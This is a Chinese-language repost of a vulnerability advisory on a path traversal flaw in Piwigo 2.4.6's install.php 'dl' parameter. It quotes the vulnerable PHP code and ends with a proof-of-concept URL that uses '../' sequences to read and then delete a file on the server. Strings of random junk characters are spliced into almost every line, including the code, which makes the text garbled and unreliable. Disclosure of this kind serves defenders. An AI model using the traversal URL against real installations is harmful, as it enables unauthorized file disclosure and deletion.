Piwigo是用PHP编写的相册脚本。
: s# d6 i* y. q1 X' k' q
3 J9 a: T z/ ` _Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。! k) ?, D" t, ~
====================================================================
% _" ]+ H) z- I. G$ a# l/install.php:
. a, U$ h, ?8 `; m-------------
) G; I& x+ D' W2 B) k113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
1 I+ y) A1 e2 S, \0 z114: {
3 V0 V/ N8 }6 f) ?: ^115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];1 N1 w% a- t" [8 \1 ^+ W
116: header('Cache-Control: no-cache, must-revalidate');3 g: l4 P# [8 L ]9 m0 ]+ b# c0 O, j
117: header('Pragma: no-cache');6 ]9 ]( K- Q) x! m0 d+ h
118: header('Content-Disposition: attachment; filename="database.inc.php"');/ O. b3 D) M- t- Z3 C
119: header('Content-Transfer-Encoding: binary');
8 Z- V% d: d5 t( V4 d* }. Y l; L) E120: header('Content-Length: '.filesize($filename));
* i- u9 L# G7 P5 m121: echo file_get_contents($filename);+ y0 F8 w7 b) u. G1 r: A3 J+ Y* B _
122: unlink($filename);3 _) a1 _" ]1 ?& b
123: exit();
8 k6 y# O9 h, R( ?# h0 F1 h5 J+ K124: }
5 _% ~1 |- S. }; U% j0 h====================================================================/ N, i7 ^8 O8 Q# U
0 J2 z l- q2 W; Y
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)' |( L: t1 u/ A/ q& Z' f
Apache 2.4.2 (Win32)
0 L }* T8 i. V) n: s- K PHP 5.4.4* b: L! Z& t4 f+ x2 l( s: f
MySQL 5.5.25a7 q$ P0 X9 x3 a# A: D- Q5 n2 @
, G1 `0 y6 u: P, q9 K0 h& VVulnerability discovered by Gjoko 'LiquidWorm' Krstic! j, l: Y* ` S5 z3 u' l
@zeroscience2 o1 Q% L& B" d( e9 N, D7 Z' B
; o% v7 \* E; d! ^& _7 q
Advisory ID: ZSL-2013-5127
' ?7 P4 t7 ~8 [( E: hAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php+ ]2 N3 X8 c7 q; v
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
: ^+ Q9 I; y& p
. M6 h; J% y' [4 N! ?15.02.2013! C: w' @% j% ]/ q6 ]% F1 g- T
7 I- i3 h2 _* O! Z- Z+ X, E8 p7 R7 n--
4 Q( G4 }7 J5 r l% A0 Bhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt. w& @8 [' z7 |; {8 _% ~" b
9 T+ g+ J1 X$ B @9 u% V) c% k9 {
|